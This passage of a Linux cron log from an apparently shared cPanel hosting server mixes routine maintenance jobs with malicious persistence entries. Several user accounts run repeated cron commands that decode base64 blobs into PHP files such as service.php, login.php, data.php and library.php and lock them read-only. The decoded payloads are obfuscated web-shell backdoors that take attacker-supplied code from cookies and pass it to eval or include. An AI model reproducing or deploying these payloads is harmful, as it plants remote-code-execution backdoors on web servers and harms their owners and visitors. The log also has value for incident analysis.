QaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:19:02 medusa CROND[4281]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:19:02 medusa CROND[4284]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:19:02 medusa CROND[4292]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:20:01 medusa CROND[19707]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:20:01 medusa CROND[19886]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 13:20:01 medusa CROND[19913]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 13:20:01 medusa CROND[19925]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[19986]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 13:20:02 medusa CROND[20112]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 13:20:02 medusa CROND[20115]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:20:02 medusa CROND[20116]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 13:20:02 medusa CROND[20117]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:20:02 medusa CROND[20120]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20122]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:20:02 medusa CROND[20113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_ruby.cronlock /usr/share/l.v.e-manager/utils/cache_rubygems.py)
Mar  2 13:20:02 medusa CROND[20118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20126]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:20:02 medusa CROND[20132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:20:02 medusa CROND[20133]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:20:02 medusa CROND[20123]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20124]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20111]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:20:02 medusa CROND[20114]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:20:02 medusa CROND[20127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:20:02 medusa CROND[20121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:20:02 medusa CROND[20144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 13:20:02 medusa CROND[20153]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:20:02 medusa CROND[20142]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 13:20:02 medusa CROND[20156]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20157]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20160]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 13:20:02 medusa CROND[20155]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:20:02 medusa CROND[20163]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:20:02 medusa CROND[20162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:21:01 medusa CROND[568]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:21:01 medusa CROND[573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:21:02 medusa CROND[789]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:21:02 medusa CROND[790]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:21:02 medusa CROND[788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:21:02 medusa CROND[799]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:21:02 medusa CROND[800]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:21:02 medusa CROND[802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:21:02 medusa CROND[808]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:21:02 medusa CROND[811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:21:02 medusa CROND[819]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:21:02 medusa CROND[822]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:21:02 medusa CROND[827]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:21:02 medusa CROND[829]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSV